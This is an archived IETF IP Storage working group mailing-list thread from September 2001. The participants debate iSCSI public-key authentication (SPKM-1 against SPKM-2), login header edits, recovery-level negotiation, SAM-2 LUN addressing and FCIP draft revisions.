From owner-ips@ece.cmu.edu Sat Sep 1 05:35:00 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA11406 for ; Sat, 1 Sep 2001 05:34:59 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f818Jrg01252 for ips-outgoing; Sat, 1 Sep 2001 04:19:53 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e32.bld.us.ibm.com (e32.co.us.ibm.com [32.97.110.130]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f818JpP01248 for ; Sat, 1 Sep 2001 04:19:51 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e32.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id EAA83272; Sat, 1 Sep 2001 04:17:34 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f818IUl183026; Sat, 1 Sep 2001 02:18:31 -0600 Importance: Normal Subject: Re: iSCSI: Public Key Method To: Joshua Tseng Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Sat, 1 Sep 2001 01:17:52 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/01/2001 02:18:31 AM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Joshua, what is the value of the time stamp in SPKM-2? Does it make it more secure, or flexible or ???? If you had to chose one (either SPKM-1 or SPKM-2), which one would you chose and why? What would be the down side to that choice? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Joshua Tseng @ece.cmu.edu on 08/31/2001 07:21:11 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: Public Key Method This message is in response to the action item David Black gave me at the Interim meeting to investigate the need for a Public Key Method for iSCSI. My recommendation is that if we include the Kerberos method in iSCSI, then we should also include at least one Public Key Method as well. I don't see any problem with using SPKM-1 and SPKM-2. The only difference between them is that SPKM-2 includes a timestamp. Although Kerberos has been in use for a longer period of time, public key offers significant scaling advantages. It is also widely recognized as the next-generation key distribution method, and I believe iSCSI should not leave it out. Some of the key advantages of public key: 1) Key distribution does not require a secure communication channel between the communicating principals and the key distribution authority. Public keys can be distributed in the clear. On the other hand, Kerberos requires an additional set of security associations between the Kerberos server and every principal, or manual distribution and configuration of keys, which can be an administrative nightmare. 2) In Public Key, there is no single point of failure as there is with a Kerberos Server. If the Kerberos Server is wiped out in a DOS attack, no one can access its keys, and no one can talk securely. Also, if the contents of the Kerberos Server is compromised, anyone can be impersonated. On the other hand, if the CA is wiped out, holders of public keys can still continue to function. Furthermore, CA's can be distributed, making them resilient to attacks. 3) In Public Key, there is no single physical location or device in the network that can be considered a performance bottleneck. This is another reason why Public Key is far more scalable than Kerberos. 4) Of all the iSCSI authentication methods in the current draft (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount of manual administration. Given the above, it makes sense to me that if we include Kerberos, then we ought to also include Public Key. We may not need both SPKM-1 and SPKM-2, but I think we should include at least one of them. I believe the current text in the iSCSI document is fine (good job Ofer!). Josh From owner-ips@ece.cmu.edu Sat Sep 1 08:37:22 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA13438 for ; Sat, 1 Sep 2001 08:37:21 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f81BbM820186 for ips-outgoing; Sat, 1 Sep 2001 07:37:22 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-2.de.ibm.com (d12lmsgate-2.de.ibm.com [195.212.91.200]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f81BbJP20182 for ; Sat, 1 Sep 2001 07:37:19 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-2.de.ibm.com (1.0.0) with ESMTP id NAA23704; Sat, 1 Sep 2001 13:37:08 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f81Bb7I111020; Sat, 1 Sep 2001 13:37:07 +0200 Importance: Normal Subject: Re: iSCSI: Public Key Method To: "John Hufferd" Cc: Joshua Tseng , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "Ofer Biran" Date: Sat, 1 Sep 2001 14:38:44 +0200 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 01/09/2001 14:37:07 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk John, Since I ought to blamed for putting the two of them... SPKM-2 uses secure timestamp in the initial authentication (i.e., I sign the current time with my private key - this authenticates me and prevents replay attack of that message later). In SPKM-1 I sign a random challenge sent from the other party, and this costs another communication round to authenticate the initiator. If it's true that some systems (in iSCSI scenarios) might have problem with timestamps (and there is also an issue of clocks synchronization), and we decide to specify only one of them, then SPKM-1 would be more reasonable. For the question of specifying one or two - this is the usual trade-off in optional methods between flexibility (more options) and interoperability (less options, so whoever chooses to implement SPKM will implement the same one). Regards, Ofer Ofer Biran Storage and Systems Technology IBM Research Lab in Haifa biran@il.ibm.com 972-4-8296253 John Hufferd/San Jose/IBM@IBMUS@ece.cmu.edu on 01/09/2001 10:17:52 Please respond to John Hufferd/San Jose/IBM@IBMUS Sent by: owner-ips@ece.cmu.edu To: Joshua Tseng cc: ips@ece.cmu.edu Subject: Re: iSCSI: Public Key Method Joshua, what is the value of the time stamp in SPKM-2? Does it make it more secure, or flexible or ???? If you had to chose one (either SPKM-1 or SPKM-2), which one would you chose and why? What would be the down side to that choice? . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Joshua Tseng @ece.cmu.edu on 08/31/2001 07:21:11 PM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI: Public Key Method This message is in response to the action item David Black gave me at the Interim meeting to investigate the need for a Public Key Method for iSCSI. My recommendation is that if we include the Kerberos method in iSCSI, then we should also include at least one Public Key Method as well. I don't see any problem with using SPKM-1 and SPKM-2. The only difference between them is that SPKM-2 includes a timestamp. Although Kerberos has been in use for a longer period of time, public key offers significant scaling advantages. It is also widely recognized as the next-generation key distribution method, and I believe iSCSI should not leave it out. Some of the key advantages of public key: 1) Key distribution does not require a secure communication channel between the communicating principals and the key distribution authority. Public keys can be distributed in the clear. On the other hand, Kerberos requires an additional set of security associations between the Kerberos server and every principal, or manual distribution and configuration of keys, which can be an administrative nightmare. 2) In Public Key, there is no single point of failure as there is with a Kerberos Server. If the Kerberos Server is wiped out in a DOS attack, no one can access its keys, and no one can talk securely. Also, if the contents of the Kerberos Server is compromised, anyone can be impersonated. On the other hand, if the CA is wiped out, holders of public keys can still continue to function. Furthermore, CA's can be distributed, making them resilient to attacks. 3) In Public Key, there is no single physical location or device in the network that can be considered a performance bottleneck. This is another reason why Public Key is far more scalable than Kerberos. 4) Of all the iSCSI authentication methods in the current draft (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount of manual administration. Given the above, it makes sense to me that if we include Kerberos, then we ought to also include Public Key. We may not need both SPKM-1 and SPKM-2, but I think we should include at least one of them. I believe the current text in the iSCSI document is fine (good job Ofer!). Josh From owner-ips@ece.cmu.edu Sat Sep 1 17:58:06 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA18172 for ; Sat, 1 Sep 2001 17:58:06 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f81KQ9410268 for ips-outgoing; Sat, 1 Sep 2001 16:26:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from mxic1.isus.emc.com ([168.159.129.100]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f81KPwP10260 for ; Sat, 1 Sep 2001 16:25:58 -0400 (EDT) Received: by mxic1.isus.emc.com with Internet Mail Service (5.5.2653.19) id ; Sat, 1 Sep 2001 16:27:45 -0400 Message-ID: <277DD60FB639D511AC0400B0D068B71ECAD6B9@CORPMX14> From: Black_David@emc.com To: jtseng@NishanSystems.com, ips@ece.cmu.edu Subject: RE: iSCSI: Public Key Method Date: Sat, 1 Sep 2001 16:19:18 -0400 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk I have no problem with this discussion in principle. I'm interested in the practical aspects of this - as public key infrastructures are being deployed (and this is happening, albeit slowly), what is being used for authentication - SPKM-1, -2, both, something else? Keberos and CHAP are both being used for authentication in the infrastructures of interest. I have no problem with wanting to have a way to integrate with public key infrastructure in principle, but am concerned that we pick the right protocol in practice. A quick reminder that this is about what to specify - both implementation and use would be OPTIONAL. Thanks, --David > -----Original Message----- > From: Joshua Tseng [mailto:jtseng@NishanSystems.com] > Sent: Friday, August 31, 2001 10:21 PM > To: ips@ece.cmu.edu > Subject: iSCSI: Public Key Method > > > This message is in response to the action item David Black gave me > at the Interim meeting to investigate the need for a Public Key Method > for iSCSI. > > My recommendation is that if we include the Kerberos method in iSCSI, > then we should also include at least one Public Key Method as well. > I don't see any problem with using SPKM-1 and SPKM-2. The only > difference between them is that SPKM-2 includes a timestamp. > > Although Kerberos has been in use for a longer period of time, > public key offers significant scaling advantages. It is also widely > recognized as the next-generation key distribution method, and > I believe iSCSI should not leave it out. > > Some of the key advantages of public key: > > 1) Key distribution does not require a secure communication > channel between the communicating principals and the key distribution > authority. Public keys can be distributed in the clear. On the > other hand, Kerberos requires an additional set of security > associations > between the Kerberos server and every principal, or manual > distribution > and configuration of keys, which can be an administrative nightmare. > > 2) In Public Key, there is no single point of failure as there is > with a Kerberos Server. If the Kerberos Server is wiped out in > a DOS attack, no one can access its keys, and no one can talk > securely. > Also, if the contents of the Kerberos Server is compromised, anyone > can be impersonated. On the other hand, if the CA is wiped out, > holders of public keys can still continue to function. Furthermore, > CA's can be distributed, making them resilient to attacks. > > 3) In Public Key, there is no single physical location or device > in the network that can be considered a performance bottleneck. > This is another reason why Public Key is far more scalable than > Kerberos. > > 4) Of all the iSCSI authentication methods in the current draft > (KRB5, SRP, CHAP), SPKM-1 and SPKM-2 require the least amount > of manual administration. > > Given the above, it makes sense to me that if we include Kerberos, > then we ought to also include Public Key. We may not need both > SPKM-1 and SPKM-2, but I think we should include at least one of > them. I believe the current text in the iSCSI document is fine > (good job Ofer!). > > Josh > From owner-ips@ece.cmu.edu Sun Sep 2 11:16:14 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11461 for ; Sun, 2 Sep 2001 11:16:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f82DueR01138 for ips-outgoing; Sun, 2 Sep 2001 09:56:40 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate-3.de.ibm.com (d12lmsgate-3.de.ibm.com [195.212.91.201]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f82DuYP01133 for ; Sun, 2 Sep 2001 09:56:38 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate-3.de.ibm.com (1.0.0) with ESMTP id PAA08170; Sun, 2 Sep 2001 15:56:15 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f82DuAe101410; Sun, 2 Sep 2001 15:56:10 +0200 Importance: Normal Subject: Re: iSCSI - Login changes and the latest agreements To: Steve Senum , ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Sun, 2 Sep 2001 17:02:26 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 02/09/2001 16:56:15 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Steve & Ayman, Thanks for yor carefull reading. I will take care of all the editorials. Regards, Julo Steve Senum on 01-09-2001 00:53:19 Please respond to Steve Senum To: ietf-ips , Julian Satran/Haifa/IBM@IBMIL cc: Subject: Re: iSCSI - Login changes and the latest agreements Hi Julian, Ayman and I have spent some time looking at your latest login proposal. We believe it solves all of the issues with login that we knew of, and provides a bit (no pun intended) cleaner approach. Though we also think simply requiring the security phase, including the old SecurityContextComplete=yes handshake, would have solved the same issues with draft 07. The addition of the "C" bit solves our concerns with the use of only login command/login response pairs for the entire login sequence. I have some (mostly) editorial comments on your current proposal: 1. You might consider changing the name of the F (Final) bit to something like the T (Transition) bit to help alert implementers that the semantics of the bit have changed. 2. In the login header: +---------------+---------------+---------------+---------------+ 0|X|I| 0x03 |F|C 0 0| CNxSG | Version-max | Version-min | +---------------+---------------+---------------+---------------+ You might want to insert a "|" between the "C" and "0" bits. 3. Section 2.12.3 F (Final) Bit: If set to 1 indicates that the initiator has no more parameters to set. You might want to change this text to better reflect the F bit's expanded role, like you did for section 2.13.1. 4. Section 2.13.1 F (Final) Bit: You might want to mention that the target can only set the F bit on the response if the initiator set it on the command. 5. Login Response Status Table: You should remove code 0002 since it is no longer needed. You might also want to remove code 0001, since it seems to now provide redundant information with the CNxSG field, and remove or simplify the note about status code 0000. 6. End of section 4.1: Remove text about when IIN and ITN can be sent, since they are now required in the initial Login request. Move the sentence: The iSCSI Names MUST be in text command format. To the paragraph near the begining of section 4 that starts "The initial Login request MUST include the InitiatorName ...." Regards, Steve Senum From owner-ips@ece.cmu.edu Mon Sep 3 10:58:40 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA11059 for ; Mon, 3 Sep 2001 10:58:40 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83E0YM18682 for ips-outgoing; Mon, 3 Sep 2001 10:00:34 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83E0VP18678 for ; Mon, 3 Sep 2001 10:00:32 -0400 (EDT) Received: from d12relay02.de.ibm.com (d12relay02.de.ibm.com [9.165.215.23]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id QAA45386 for ; Mon, 3 Sep 2001 16:00:19 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay02.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f83E0I1146768 for ; Mon, 3 Sep 2001 16:00:18 +0200 Importance: Normal Subject: iSCSI - Recovery Levels To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Mon, 3 Sep 2001 16:59:38 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.6 |December 14, 2000) at 03/09/2001 17:00:18 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk There seems to be consensus around the fact the recovery leves are good and no clear consensus about hpow many should there be (2 or 3). As there is no chance to settle this until 08 gets out I suggest intrdocucing a generic key=value pair (RecoveryLevel) and remove the existing keys (CommmandFailoverSupport and CommandReplaySupport). RecoveryLevel will be defined as follows: 01 RecoveryLevel Use: LO Who can send: Initiator and Target RecoveryLevel=<0 to x> Default is 0. Initiator and target negotiate the recovery level supported. The minimum of the two values is selected. Recovery levels represent a combination of recovery capabilities. Each recovery level includes all the capabilities of the lower recovery levels and adds to them some new ones. In the recovery mechanisms descriptions some specific recovery capabilities are used. Those are mapped to levels as follows: 0 - SessionRecovery 1 - CommandFailoverSupport and CommandReplaySupport [TBD] Comments? Julo From owner-ips@ece.cmu.edu Mon Sep 3 11:02:46 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA11143 for ; Mon, 3 Sep 2001 11:02:45 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83DdmS17627 for ips-outgoing; Mon, 3 Sep 2001 09:39:48 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83CNSP14401 for ; Mon, 3 Sep 2001 08:23:28 -0400 (EDT) Received: from SANJEEV ([169.254.1.5]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id R828XZW4; Mon, 3 Sep 2001 14:24:13 +0200 Message-ID: <008a01c13474$3f637d60$0501fea9@SANJEEV> From: "Sanjeev Bhagat" To: , Subject: SAM-2 LUN Level definition Date: Mon, 3 Sep 2001 14:30:40 +0200 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6700 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit Hello, I was going carefully through the LUN level definition of SAM-2 specs. Although everything seems to be fine, but i have a very basic question. Can somebody explain me , why is the following has been designed so.May be I am missing something WHY is a 4 level structure defined at all?? Except for the fact that more devices can be connected to the same SCSI TARGET DEVICE, i dont find any other reason for it. Moreover the way the command is proceeded further to other LUN levels is also a bit shady in the sense that the LUN level structure has to be modified everytime the command is sent to lower levels. The Peripheral device addressing method does not allow for addressing scsi LU's not on the same level. If we choose for Device specific addressing methods then it will basically make it not inter-operabel with all the other SCSI initiator/target devices in the world. Regards, Sanjeev From owner-ips@ece.cmu.edu Mon Sep 3 16:02:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13733 for ; Mon, 3 Sep 2001 16:02:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83Ib1001758 for ips-outgoing; Mon, 3 Sep 2001 14:37:01 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar1aa.compuserve.com (siaar1aa.compuserve.com [149.174.40.9]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83IawP01749 for ; Mon, 3 Sep 2001 14:36:59 -0400 (EDT) Received: (from mailgate@localhost) by siaar1aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id OAA23183 for ips@ece.cmu.edu; Mon, 3 Sep 2001 14:36:48 -0400 (EDT) Received: from compuserve.com (dal-tgn-tkg-vty44.as.wcom.net [206.175.236.44]) by siaar1aa.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id OAA23174 for ; Mon, 3 Sep 2001 14:36:36 -0400 (EDT) Message-ID: <3B93CED0.ED018FA2@compuserve.com> Date: Mon, 03 Sep 2001 13:41:20 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: IPS Reflector Subject: New FCIP revisions available Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v0.pdf is an FCIP 05 PDF with annotated notes from the Interim meeting. It shows the areas where new FCIP drafts will have changes made. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v1.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v1.pdf is FCIP revision 05a. 05a contains only changes that can be isolated to small sections of text. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v1.pdf is a FCIP 05 PDF with annotated notes describing the changes in FCIP 05a. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v2.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v2.pdf is FCIP revision 05b. 05b contains the changes that move computation of the transit time from the FCIP Entity to the FC Entity. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v2.pdf is a FCIP 05a PDF with annotated notes describing the changes in FCIP 05b. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v3.txt or ftp://ftp.t11.org/t11/pub/fc/bb-2/01-457v3.pdf is FCIP revision 05c. 05c changes the model for TCP connection setup operations: from: a model where everything is a routine call and the FC Entity is the master of all TCP connection setup, to: a model where the FCIP Entity gets all the TCP connection parameters from a "shared" database and acts independent of the FC Entity when forming TCP connections. Even in the 05c model, the FCIP Entity still informs the FC Entity when a new TCP connection is SUCCESSFULLY formed. N.B. both 05b and 05c have models for TCP connection setup. Any implementation that produces the modeled effects is valid. FCIP 05c also contains a table of FCIP Entity interactions with the FC Entity in Annex E. ftp://ftp.t11.org/t11/pub/fc/bb-2/01-462v3.pdf is a FCIP 05b PDF with annotated notes describing the changes in FCIP 05c. Enjoy. Ralph... From owner-ips@ece.cmu.edu Mon Sep 3 16:07:02 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13752 for ; Mon, 3 Sep 2001 16:07:02 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83JEt503753 for ips-outgoing; Mon, 3 Sep 2001 15:14:55 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from e31.bld.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83JErP03749 for ; Mon, 3 Sep 2001 15:14:53 -0400 (EDT) Received: from westrelay02.boulder.ibm.com (westrelay02.boulder.ibm.com [9.99.140.23]) by e31.bld.us.ibm.com (8.9.3/8.9.3) with ESMTP id PAA19914 for ; Mon, 3 Sep 2001 15:12:37 -0400 Received: from d03nm065.boulder.ibm.com (d03nm065.boulder.ibm.com [9.99.140.49]) by westrelay02.boulder.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f83JEnc208026 for ; Mon, 3 Sep 2001 13:14:49 -0600 X-Priority: 1 (High) Importance: Normal Subject: Re: iSCSI - Recovery Levels To: "Julian Satran" Cc: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.3 (Intl) 21 March 2000 Message-ID: From: "John Hufferd" Date: Mon, 3 Sep 2001 12:14:10 -0700 X-MIMETrack: Serialize by Router on D03NM065/03/M/IBM(Release 5.0.8 |June 18, 2001) at 09/03/2001 01:14:50 PM MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Julian, The way you have written it, only two levels can be specified, since level one contains all the currently know levels. Perhaps, you need to leave some space between Zero and Everything currently known, by assigning Everything to be number 2, or, 3 etc. If we define it to be the number 2 for instance then it is possible that we only define 0 and 2 but it would leave room for a 1 if one was defined. . . . John L. Hufferd Senior Technical Staff Member (STSM) IBM/SSG San Jose Ca Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 Home Office (408) 997-6136 Internet address: hufferd@us.ibm.com Julian Satran/Haifa/IBM@IBMIL@ece.cmu.edu on 09/03/2001 06:59:38 AM Sent by: owner-ips@ece.cmu.edu To: ips@ece.cmu.edu cc: Subject: iSCSI - Recovery Levels There seems to be consensus around the fact the recovery leves are good and no clear consensus about hpow many should there be (2 or 3). As there is no chance to settle this until 08 gets out I suggest intrdocucing a generic key=value pair (RecoveryLevel) and remove the existing keys (CommmandFailoverSupport and CommandReplaySupport). RecoveryLevel will be defined as follows: 01 RecoveryLevel Use: LO Who can send: Initiator and Target RecoveryLevel=<0 to x> Default is 0. Initiator and target negotiate the recovery level supported. The minimum of the two values is selected. Recovery levels represent a combination of recovery capabilities. Each recovery level includes all the capabilities of the lower recovery levels and adds to them some new ones. In the recovery mechanisms descriptions some specific recovery capabilities are used. Those are mapped to levels as follows: 0 - SessionRecovery 1 - CommandFailoverSupport and CommandReplaySupport [TBD] Comments? Julo From owner-ips@ece.cmu.edu Mon Sep 3 16:08:53 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA13770 for ; Mon, 3 Sep 2001 16:08:53 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83Ij3V02157 for ips-outgoing; Mon, 3 Sep 2001 14:45:03 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from siaar1ab.compuserve.com (siaar1ab.compuserve.com [149.174.40.10]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83Ij0P02152 for ; Mon, 3 Sep 2001 14:45:00 -0400 (EDT) Received: (from mailgate@localhost) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) id OAA15361 for ips@ece.cmu.edu; Mon, 3 Sep 2001 14:44:50 -0400 (EDT) Received: from compuserve.com (dal-tgn-tkg-vty44.as.wcom.net [206.175.236.44]) by siaar1ab.compuserve.com (8.9.3/8.9.3/SUN-REL-1.3) with ESMTP id OAA15307; Mon, 3 Sep 2001 14:44:47 -0400 (EDT) Message-ID: <3B93D082.3B1CCF95@compuserve.com> Date: Mon, 03 Sep 2001 13:48:34 -0500 From: Ralph Weber Reply-To: ENDL_TX@computer.org X-Mailer: Mozilla 4.7 [en]C-CCK-MCD NSCPCD47 (Win95; I) X-Accept-Language: en,pdf MIME-Version: 1.0 To: "T10, Reflector" , IPS Reflector Subject: Re: SAM-2 LUN Level definition References: <008a01c13474$3f637d60$0501fea9@SANJEEV> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit The dependent logical unit addressing in SAM-2 derives from the SCSI Controller Commands (SCC-2), see: ftp://ftp.t10.org/t10/drafts/scc2/scc2r04.pdf T10 feels that the model is more generally useful than just SCC-2, which explains its presence in SAM-2. This opinion has not yet reached full maturity so the cloud nature of things is not surprising. I cannot comment on the interactions of the Peripheral Addressing mode and iSCSI. Ralph... Sanjeev Bhagat wrote: > > * From the T10 Reflector (t10@t10.org), posted by: > * "Sanjeev Bhagat" > * > Hello, > > I was going carefully through the LUN level definition of SAM-2 specs. > Although everything seems to be fine, but i have a very basic question. > > Can somebody explain me , why is the following has been designed so.May be > I am missing something > > WHY is a 4 level structure defined at all?? Except for the fact that more > devices can be connected to the same SCSI TARGET DEVICE, i dont find any > other reason for it. Moreover the way the command is proceeded further to > other LUN levels is also a bit shady in the sense that the LUN level > structure has to be modified everytime the command is sent to lower levels. > > The Peripheral device addressing method does not allow for addressing scsi > LU's not on the same level. > > If we choose for Device specific addressing methods then it will basically > make it not inter-operabel with all the other SCSI initiator/target devices > in the world. > > Regards, > Sanjeev > > * > * For T10 Reflector information, send a message with > * 'info t10' (no quotes) in the message body to majordomo@t10.org From owner-ips@ece.cmu.edu Mon Sep 3 17:11:15 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA14252 for ; Mon, 3 Sep 2001 17:11:14 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f83JvZx08249 for ips-outgoing; Mon, 3 Sep 2001 15:57:35 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from zoetermeer.tripace.com (eth0.81033r2ce.rtd.skybernet.net [217.17.136.66]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f83JvRP08234 for ; Mon, 3 Sep 2001 15:57:28 -0400 (EDT) Received: from daniel (ipd50ab36f.speed.planet.nl [213.10.179.111]) by zoetermeer.tripace.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13) id R828XZZG; Mon, 3 Sep 2001 21:58:02 +0200 Message-ID: <007201c134b4$38045450$9600000a@daniel> From: "Sanjeev Bhagat \(TRIPACE/Zoetermeer\)" To: "Julian Satran" , "John Hufferd" Cc: References: Subject: Re: iSCSI - Recovery Levels Date: 